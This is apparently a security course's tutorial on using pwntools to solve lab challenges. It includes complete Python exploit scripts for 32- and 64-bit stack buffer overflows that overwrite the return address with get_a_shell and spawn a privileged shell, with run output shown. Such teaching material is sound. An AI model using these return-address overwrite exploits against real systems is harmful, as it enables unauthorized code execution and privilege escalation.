======== pwntools ======== For solving future challenges, we will utilize Python scripts and pwntools to interact with the program. This will be easier than using file redirection or pipe, for example, ./bof-level5 < input.txt or (cat input.txt; cat) | ./bof-level5, because an integrated script will let you have more freedom on controlling inputs and reading outputs to/from the target program. To learn how to use pwntools with Python script, let's solve week1 level0 again using pwntools. As we all know, the program prints an output for asking the password, and on getting p4sSw0Rd as the password, the program will execute a shell. Let's do it. ------------ week1 level0 ------------ To use pwntools, you need to import them in your script. from pwn import * This single line of script will import all related tools that you can utilize. To open a process (i.e., execute a program), you can create a process object with a path as argument. For example, if you want to execute 'level0' in this directory and get the handle: p = process("./level0") # to create a writable directory, you can run the 'setup' command # and type 1 for creating week1's directories under your home directory. After that, you can receive a program's output by the following function call: output = p.recv(0x100) the recv function will get an expected size of output as an argument. The function will do best effort on reading output upto the specified size, however, if the output cuts off before reaching the size (e.g., having a newline), the recv will stop and return the result. Let's print the output. >>> CODE #!/usr/bin/env python from pwn import * p = process("./level0") output = p.recv(0x100) print(output) <<< CODE END Running the script will print the output as expected: >>> OUTPUT $ python go.py [+] Starting local process './level0': pid 17232 What's the password? [*] Stopped process './level0' (pid 17232) <<< OUTPUT END Next, we need to send an input to the program, and we would like to send "p4sSw0Rd". Let's do this, and let's open an interactive communication between your keyboard input to the program at the end because by receiving the password, the program will execute a shell and we would like to play with that shell. To do that, we will use function p.send(string) and p.interactive(). p.send(string) will send the string argument as an input to the program, and p.interactive() will let you communicate with the program via keyboard and console screen. >>> CODE #!/usr/bin/env python from pwn import * p = process("./level0") output = p.recv(0x100) print(output) p.send("p4sSw0Rd\n") # <-- adding newline to pass the input to scanf. p.interactive() <<< CODE END By running the script, you can get a shell: $ python go.py [+] Starting local process './level0': pid 17243 What's the password? [*] Switching to interactive mode Correct! Spawning a privileged shell $ id uid=1006(red9057) gid=50100(week1-level0-ok) groups=50100(week1-level0-ok),1006(red9057) ---------------- week2 bof-level2 ---------------- Let's solve bof-level2. We will use following functions to solve this challenge: process() # creating a process object to run the program p.send() # send an input to the program p.sendline() # send an input attached with a newline to the argument p.recv() # get an output from the program p.interactive() # open an interactive stream to control the shell after your attack works ELF() # load program e.symbols['get_a_shell'] # getting address of the function named as 'get_a_shell' p32() # transform an integer value to a little endian 32-bit string In bof-level2, we need to overflow the buffer at -0x20(%ebp) and run the get_a_shell function by overwriting the return address. We can get the number of bytes to write from assembly: buffer is at -0x20(%ebp). Buffer size : 32 bytes. We need to overwrite 4 more bytes to overwrite saved ebp. After that, we can overwrite the return address. So we need: "AAAAA.....AAAA" (36 bytes) + return_address (get_a_shell). Let's open the program and send an input first. >>> CODE START #!/usr/bin/env python from pwn import * # open process p = process("./bof-level2") # print output print(p.recv(0x200)) string = "A"*36 + "_RET" # return address is not ready yet # sendline - attaching newline automatically at the end of the input! p.sendline(string) p.interactive() <<< CODE END The result will be: $ python go.py [+] Starting local process './bof-level2': pid 17274 Your variables are: a = 0x41414141 b = 0x42424242 Are you happy with such values? Type YES if you agree with this... (a fake message) [*] Switching to interactive mode Now your variables are: a = 0x41414141 b = 0x41414141 Analyze the program! [*] Got EOF while reading in interactive $ [*] Process './bof-level2' stopped with exit code -11 (SIGSEGV) (pid 17274) [*] Got EOF while sending in interactive Yes, because we put a wrong return address, it crashes. Next, we will get the address of 'get_a_shell()'. To do this, we will use ELF object, which loads and analyze the program and then let us access some properties of the program. e = ELF("./bof-level2") This will open and load the program as an ELF object. e.symbols['get_a_shell'] will give you the address of the function. Let's write the code as follows: >>> CODE START #!/usr/bin/env python from pwn import * # open process p = process("./bof-level2") # print output print(p.recv(0x200)) # load the program as an ELF object e = ELF("./bof-level2") # get the address of get_a_shell get_a_shell = e.symbols['get_a_shell'] # the address is in integer, so it prints a decimal value print(get_a_shell) # you can print hexadecimal value with hex() print(hex(get_a_shell)) # because the value is integer, you should use p32(get_a_shell) to # change that as a little endian string. # e.g., p32(0x8048500) -> "\x00\x85\x04\x08" # You can check this by running: print(repr(p32(get_a_shell))) string = "A"*36 + p32(get_a_shell) # sendline - attaching newline automatically at the end of the input! p.sendline(string) p.interactive() <<< CODE ENDS The result will be: $ python go.py [+] Starting local process './bof-level2': pid 17332 Your variables are: a = 0x41414141 b = 0x42424242 Are you happy with such values? Type YES if you agree with this... (a fake message) [*] '/home/users/red9057/week2/bof-level2/bof-level2' Arch: i386-32-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x8048000) 134513920 0x8048500 '\x00\x85\x04\x08' [*] Switching to interactive mode Now your variables are: a = 0x41414141 b = 0x41414141 Analyze the program! Spawning a privileged shell $ id uid=1006(red9057) gid=50202(week2-level2-ok) groups=50202(week2-level2-ok),1006(red9057) ---------------- week2 bof-level3 ---------------- Let's solve a 64bit challenge. The difference here is that we need to use 8 byte address format, so instead of p32(), we need to use p64(). That's the only difference. In the program, the buffer is at -0x30(%rbp), so: we need to fill 48 bytes, 8 more bytes for saved %rbp, and after that, we can overwrite the return address. In other words, "AAAA.....AAAAA" (56 bytes) + "8 bytes return address" will be our input. We will do the same thing with bof-level2, but for translating an integer to 8-byte little endian string, we will use p64() insteads. Following is the code snippet for that: >>> CODE START #!/usr/bin/env python from pwn import * # open process p = process("./bof-level3") # print output print(p.recv(0x200)) # load the program as an ELF object e = ELF("./bof-level3") # get the address of get_a_shell get_a_shell = e.symbols['get_a_shell'] # the address is in integer, so it prints a decimal value print(get_a_shell) # you can print hexadecimal value with hex() print(hex(get_a_shell)) # because the value is integer, you should use p64(get_a_shell) to # change that as a little endian string. # e.g., p64(0x400640) -> "\x40\x06\x40\x00\x00\x00\x00\x00" # You can check this by running: print(repr(p64(get_a_shell))) string = "A"*56 + p64(get_a_shell) # sendline - attaching newline automatically at the end of the input! p.sendline(string) p.interactive() <<< CODE ENDS And the output is: $ python go.py [+] Starting local process './bof-level3': pid 17424 This is a 64-bit program 1st argument will be at rdi, 2nd will be at rsi, 3rd will be at rdx, 4th will be at rcx, etc.. Your variables are: a = 0x4141414141414141 b = 0x4242424242424242 Are you happy with such values? Type YES if you agree with this... (a fake message) [*] '/home/users/red9057/week2/bof-level3/bof-level3' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) 4195904 0x400640 '@\x06@\x00\x00\x00\x00\x00' [*] Switching to interactive mode Now your variables are: a = 0x4141414141414141 b = 0x4141414141414141 Analyze the program! Spawning a privileged shell $ id uid=1006(red9057) gid=50203(week2-level3-ok) groups=50203(week2-level3-ok),1006(red9057) How do you feel this? Is it convenient? You can learn more about pwntools at here: http://docs.pwntools.com/en/stable/